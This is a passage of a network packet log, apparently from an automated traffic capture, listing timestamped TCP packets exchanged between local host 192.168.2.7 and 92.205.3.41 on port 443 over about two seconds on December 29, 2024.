Dec 29, 2024 08:56:17.399812937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.402173996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.402235985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.404661894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.404726982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.407145977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.407216072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.410176992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.410242081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.412596941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.412671089 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.415096045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.415159941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.417516947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.417582989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.420303106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.420367956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.423448086 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.423517942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.425825119 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.425890923 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.428296089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.428358078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.430768013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.430834055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.592205048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.592300892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.594476938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.594547987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.597040892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.597110987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.599375010 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.599442005 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.602474928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.602540970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.605000973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.605067015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.607585907 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.607654095 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.610507965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.610563993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.612926960 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.612987041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.615482092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.615547895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.617928982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.617991924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.620620012 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.620695114 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.623039007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.623110056 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.626163006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.626226902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.628701925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.628801107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.631036043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.631095886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.792867899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.792984009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.794838905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.794919014 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.797545910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.797609091 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.799784899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.799858093 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.802869081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.802959919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.805278063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.805347919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.807812929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.807902098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.810223103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.810297966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.813313007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.813385963 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.815814018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.815896988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.818238020 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.818316936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.821058035 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.821141958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.823462963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.823534966 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.826558113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.826641083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.829051018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.829133034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.831559896 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.831641912 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.834554911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.834640980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.995244026 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.995331049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:17.997642040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:17.997709990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.000109911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.000180006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.003195047 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.003252983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.005589962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.005906105 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.008142948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.008207083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.010447025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.010515928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.013628006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.013689041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.016032934 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.016099930 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.018546104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.018609047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.021648884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.021714926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.023773909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.023838043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.027395010 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.027460098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.029541016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.029602051 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.031821966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.031878948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.034214973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.034280062 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.195568085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.195656061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.197947025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.198019028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.200579882 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.200645924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.203545094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.203609943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.206048965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.206111908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.208417892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.208493948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.210839033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.210902929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.213959932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.214025021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.216408014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.216470957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.218900919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.218965054 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.221292973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.221357107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.224096060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.224158049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.227205038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.227269888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.229681015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.229744911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.232146025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.232225895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.234688044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.234755993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.396440983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.396529913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.398466110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.398622990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.401159048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.401230097 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.404426098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.404485941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.406435013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.406524897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.409291983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.409351110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.411344051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.411402941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.416460037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.416527987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.417505026 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.417562962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.420061111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.420125961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.422661066 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.422725916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.425206900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.425273895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.427722931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.427798033 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.430685043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.430752039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.433362961 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.433428049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.435087919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.435151100 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.438838005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.438904047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.598901033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.599039078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.601296902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.601372004 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.603807926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.603872061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.606810093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.606874943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.609249115 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.609312057 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.611727953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.611792088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.614976883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.615041971 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.617239952 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.617302895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.619755983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.619821072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.622170925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.622237921 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.625289917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.625351906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.627341032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.627403975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.630506992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.630597115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.632911921 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.632976055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.635441065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.635509014 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.638542891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.638612986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.799181938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.799382925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.801781893 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.801856041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.804100037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.804171085 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.807226896 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.807296991 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.809669971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.809743881 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.812153101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.812213898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.814526081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.814590931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.817651033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.817715883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.820220947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.820286989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.822585106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.822649002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.825655937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.825716019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.827785015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.827846050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.830858946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.830918074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.833307028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.833365917 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.835800886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.835886002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.838284016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:18.838351011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:18.999869108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.000077009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.002058983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.002136946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.004411936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.004476070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.006953001 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.007028103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.009968042 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.010035038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.012387037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.012456894 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.014899969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.014961958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.017338037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.017404079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.020948887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.021014929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.022928953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.022990942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.025284052 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.025351048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.028156996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.028222084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.030545950 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.030608892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.033662081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.033740044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.036082029 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.036151886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.038547993 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.038610935 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.041013956 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.041085958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.202439070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.202652931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.204945087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.205032110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.207443953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.207511902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.210412025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.210474014 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.212923050 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.213005066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.215403080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.215477943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.218435049 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.218507051 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.220829964 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.220906973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.223378897 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.223450899 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.225857019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.225920916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.228857040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.228923082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.230978966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.231057882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.234062910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.234129906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.236742020 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.236809015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.239002943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.239070892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.242094040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.242158890 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.402829885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.402928114 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.405339003 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.405406952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.407706022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.407773972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.410865068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.410942078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.413203955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.413275957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.415743113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.415839911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.418827057 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.418895960 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.421214104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.421283007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.423803091 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.423868895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.426232100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:19.426295042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:19.429358959 CET	443	49707	92.205.3.41	192.168.2.7
